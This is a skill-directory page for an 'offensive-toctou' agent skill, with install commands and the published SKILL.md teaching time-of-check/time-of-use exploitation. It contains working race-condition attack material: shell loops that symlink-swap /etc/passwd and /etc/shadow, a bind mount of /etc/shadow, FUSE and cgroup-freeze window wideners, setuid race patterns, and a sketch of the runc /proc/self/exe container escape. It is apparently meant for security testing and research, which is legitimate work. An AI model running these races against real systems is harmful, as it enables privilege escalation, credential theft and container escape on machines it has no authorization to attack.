offensive-toctou skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators.

C70/100content scan

Is the offensive-toctou skill safe?

Read the findings before you install it. We read 1 file in the folder on 2026-09-28.

highSKILL.md:46
Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
```
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
```

Install the offensive-toctou skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/exploit-dev/offensive-toctou ~/.claude/skills/offensive-toctou

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

TOCTOU — Time-of-Check / Time-of-Use Exploitation

A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.

Quick Workflow

Identify the check (syscall, function, validation step) and the use (the privileged action)
Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
Run a tight loop and confirm the post-use state corresponds to the swapped target

The Core Pattern

// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}

Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.

The fix is always: operate on the kernel object, not the path. Use ONOFOLLOW, openat with ATSYMLINK_NOFOLLOW, fstat on the FD, etc.

Filesystem TOCTOU

Symlink Swap (Classic)

# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done

renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap

syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);

RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.

Directory Swap (mv between two prepared trees)

When the victim resolves parent/file, swap parent itself:

mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side

Bind Mount / Mount-Namespace Swap (root-only or in user-ns)

unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

In containerized contexts with CAPSYSADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.

Window-Widening Primitives

The race is always winnable in theory; in practice you need the window large enough for your swap.

FUSE-Backed Slow Filesystem

Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:

# fusepy
class SlowFS(Operations):
    def getattr(self, path, fh=None):
        if path == '/trigger':
            time.sleep(5)   # stretch the check
        return os.lstat(self.root + path).__dict__

Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.

Userfaultfd (kernel-level page faults)

// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);

userfaultfd can pause a kernel-side copyfromuser mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).

Cgroup Freeze

mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume

Single-CPU Pinning + sched_yield

cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

Kernel Double-Fetch

A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.

// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.

Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.

/proc and procfs Races

/proc/pid/exe + ptrace

/proc//exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).

// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE

/proc/pid/mem

open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.

/proc/pid/cwd / fd / root

Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.

Setuid Binary TOCTOU

// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}

Symlink swap between access and open makes the binary read root-readable files for unprivileged users.

Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.

strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface

Container Escape via TOCTOU

CVE-2019-5736 (runc) — /proc/self/exe Overwrite

When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.

CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak

A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/ — the container's first process held a host FD, races on namespace setup let it act on host paths.

Symlink-on-Mount Race

When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.

Web / API TOCTOU

Auth vs Authz Split at Gateway

Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header

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